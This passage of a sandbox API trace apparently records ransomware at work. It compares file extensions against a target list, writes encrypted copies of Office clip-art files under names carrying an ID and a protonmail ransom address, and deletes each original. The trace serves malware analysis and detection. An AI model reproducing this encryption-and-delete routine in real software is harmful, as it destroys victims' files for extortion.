	[0184.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0184.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0184.476] lstrlenW (lpString=".doc") returned 4
	[0184.476] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.476] lstrlenW (lpString=".docx") returned 5
	[0184.476] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0184.477] lstrlenW (lpString=".pdf") returned 4
	[0184.477] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.477] lstrlenW (lpString=".xls") returned 4
	[0184.477] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.477] lstrlenW (lpString=".xlsx") returned 5
	[0184.477] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0184.477] lstrlenW (lpString=".ppt") returned 4
	[0184.477] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0184.477] lstrlenW (lpString=".zip") returned 4
	[0184.477] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.477] lstrlenW (lpString=".rar") returned 4
	[0184.477] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.477] lstrlenW (lpString=".bz2") returned 4
	[0184.477] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.477] lstrlenW (lpString=".7z") returned 3
	[0184.477] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0184.477] lstrlenW (lpString=".dbf") returned 4
	[0184.477] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0184.477] lstrlenW (lpString=".1cd") returned 4
	[0184.477] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0184.477] lstrlenW (lpString=".jpg") returned 4
	[0184.477] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.477] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0184.478] lstrlenW (lpString="J0152602.WMF") returned 12
	[0184.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0184.652] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=6276) returned 1
	[0184.652] CloseHandle (hObject=0x460) returned 1
	[0184.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf")) returned 0x220
	[0184.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0184.804] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.804] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0185.123] GetLastError () returned 0x0
	[0185.123] ReadFile (in: hFile=0x55c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x1884, lpOverlapped=0x0) returned 1
	[0185.126] WriteFile (in: hFile=0x460, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x1890, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x1890, lpOverlapped=0x0) returned 1
	[0185.127] ReadFile (in: hFile=0x55c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.127] WriteFile (in: hFile=0x460, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0185.127] SetEndOfFile (hFile=0x460) returned 1
	[0185.127] CloseHandle (hObject=0x460) returned 1
	[0185.127] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.127] SetEndOfFile (hFile=0x55c) returned 1
	[0185.131] CloseHandle (hObject=0x55c) returned 1
	[0185.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0185.134] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf")) returned 1
	[0185.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0185.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0185.136] lstrlenW (lpString=".doc") returned 4
	[0185.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0185.136] lstrlenW (lpString=".docx") returned 5
	[0185.136] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0185.136] lstrlenW (lpString=".pdf") returned 4
	[0185.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0185.136] lstrlenW (lpString=".xls") returned 4
	[0185.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0185.136] lstrlenW (lpString=".xlsx") returned 5
	[0185.136] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0185.136] lstrlenW (lpString=".ppt") returned 4
	[0185.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0185.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0185.136] lstrlenW (lpString=".zip") returned 4
	[0185.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.136] lstrlenW (lpString=".rar") returned 4
	[0185.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.136] lstrlenW (lpString=".bz2") returned 4
	[0185.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.136] lstrlenW (lpString=".7z") returned 3
	[0185.136] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0185.136] lstrlenW (lpString=".dbf") returned 4
	[0185.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0185.136] lstrlenW (lpString=".1cd") returned 4
	[0185.137] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0185.137] lstrlenW (lpString=".jpg") returned 4
	[0185.137] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0185.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0185.137] lstrlenW (lpString=".doc") returned 4
	[0185.137] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0185.137] lstrlenW (lpString=".docx") returned 5
	[0185.137] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0185.137] lstrlenW (lpString=".pdf") returned 4
	[0185.137] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0185.137] lstrlenW (lpString=".xls") returned 4
	[0185.137] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0185.137] lstrlenW (lpString=".xlsx") returned 5
	[0185.137] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0185.137] lstrlenW (lpString=".ppt") returned 4
	[0185.137] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0185.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0185.137] lstrlenW (lpString=".zip") returned 4
	[0185.137] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.137] lstrlenW (lpString=".rar") returned 4
	[0185.137] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.137] lstrlenW (lpString=".bz2") returned 4
	[0185.137] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.137] lstrlenW (lpString=".7z") returned 3
	[0185.137] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0185.138] lstrlenW (lpString=".dbf") returned 4
	[0185.138] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0185.138] lstrlenW (lpString=".1cd") returned 4
	[0185.138] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68
	[0185.138] lstrlenW (lpString=".jpg") returned 4
	[0185.138] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.138] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0185.138] lstrlenW (lpString="J0152704.WMF") returned 12
	[0185.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0185.140] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=1652) returned 1
	[0185.140] CloseHandle (hObject=0x55c) returned 1
	[0185.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf")) returned 0x220
	[0185.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0185.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0185.141] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.141] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0185.143] GetLastError () returned 0x0
	[0185.143] ReadFile (in: hFile=0x55c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x674, lpOverlapped=0x0) returned 1
	[0185.145] WriteFile (in: hFile=0x460, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x680, lpOverlapped=0x0) returned 1
	[0185.146] ReadFile (in: hFile=0x55c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.146] WriteFile (in: hFile=0x460, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0185.147] SetEndOfFile (hFile=0x460) returned 1
	[0185.147] CloseHandle (hObject=0x460) returned 1
	[0185.147] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.147] SetEndOfFile (hFile=0x55c) returned 1
	[0185.151] CloseHandle (hObject=0x55c) returned 1
	[0185.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0185.151] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf")) returned 1
	[0185.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0185.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0185.152] lstrlenW (lpString=".doc") returned 4
	[0185.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0185.153] lstrlenW (lpString=".docx") returned 5
	[0185.153] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0185.153] lstrlenW (lpString=".pdf") returned 4
	[0185.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0185.153] lstrlenW (lpString=".xls") returned 4
	[0185.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0185.153] lstrlenW (lpString=".xlsx") returned 5
	[0185.153] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0185.153] lstrlenW (lpString=".ppt") returned 4
	[0185.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0185.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0185.153] lstrlenW (lpString=".zip") returned 4
	[0185.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.153] lstrlenW (lpString=".rar") returned 4
	[0185.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.153] lstrlenW (lpString=".bz2") returned 4
	[0185.153] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.153] lstrlenW (lpString=".7z") returned 3
	[0185.153] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0185.153] lstrlenW (lpString=".dbf") returned 4
	[0185.153] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0185.153] lstrlenW (lpString=".1cd") returned 4
	[0185.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0185.153] lstrlenW (lpString=".jpg") returned 4
	[0185.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0185.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0185.154] lstrlenW (lpString=".doc") returned 4
	[0185.154] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0185.154] lstrlenW (lpString=".docx") returned 5
	[0185.154] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0185.154] lstrlenW (lpString=".pdf") returned 4
	[0185.154] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0185.154] lstrlenW (lpString=".xls") returned 4
	[0185.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0185.154] lstrlenW (lpString=".xlsx") returned 5
	[0185.154] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0185.154] lstrlenW (lpString=".ppt") returned 4
	[0185.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0185.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0185.154] lstrlenW (lpString=".zip") returned 4
	[0185.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.154] lstrlenW (lpString=".rar") returned 4
	[0185.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.154] lstrlenW (lpString=".bz2") returned 4
	[0185.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.154] lstrlenW (lpString=".7z") returned 3
	[0185.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0185.154] lstrlenW (lpString=".dbf") returned 4
	[0185.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0185.154] lstrlenW (lpString=".1cd") returned 4
	[0185.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0185.155] lstrlenW (lpString=".jpg") returned 4
	[0185.155] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.155] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0185.155] lstrlenW (lpString="J0152708.WMF") returned 12
	[0185.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0185.156] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=4908) returned 1
	[0185.156] CloseHandle (hObject=0x55c) returned 1
	[0185.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf")) returned 0x220
	[0185.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0185.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0185.157] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.157] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0185.159] GetLastError () returned 0x0
	[0185.159] ReadFile (in: hFile=0x55c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x132c, lpOverlapped=0x0) returned 1
	[0185.362] WriteFile (in: hFile=0x460, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x1330, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x1330, lpOverlapped=0x0) returned 1
	[0185.365] ReadFile (in: hFile=0x55c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.365] WriteFile (in: hFile=0x460, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0185.365] SetEndOfFile (hFile=0x460) returned 1
	[0185.629] CloseHandle (hObject=0x460) returned 1
	[0185.629] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.629] SetEndOfFile (hFile=0x55c) returned 1
	[0185.632] CloseHandle (hObject=0x55c) returned 1
	[0185.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0185.633] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf")) returned 1
	[0185.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0185.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0185.634] lstrlenW (lpString=".doc") returned 4
	[0185.634] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0185.634] lstrlenW (lpString=".docx") returned 5
	[0185.634] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0185.634] lstrlenW (lpString=".pdf") returned 4
	[0185.634] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0185.634] lstrlenW (lpString=".xls") returned 4
	[0185.634] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0185.634] lstrlenW (lpString=".xlsx") returned 5
	[0185.634] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0185.634] lstrlenW (lpString=".ppt") returned 4
	[0185.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0185.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0185.634] lstrlenW (lpString=".zip") returned 4
	[0185.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.634] lstrlenW (lpString=".rar") returned 4
	[0185.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.634] lstrlenW (lpString=".bz2") returned 4
	[0185.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.635] lstrlenW (lpString=".7z") returned 3
	[0185.635] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0185.635] lstrlenW (lpString=".dbf") returned 4
	[0185.635] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0185.635] lstrlenW (lpString=".1cd") returned 4
	[0185.635] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0185.635] lstrlenW (lpString=".jpg") returned 4
	[0185.635] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
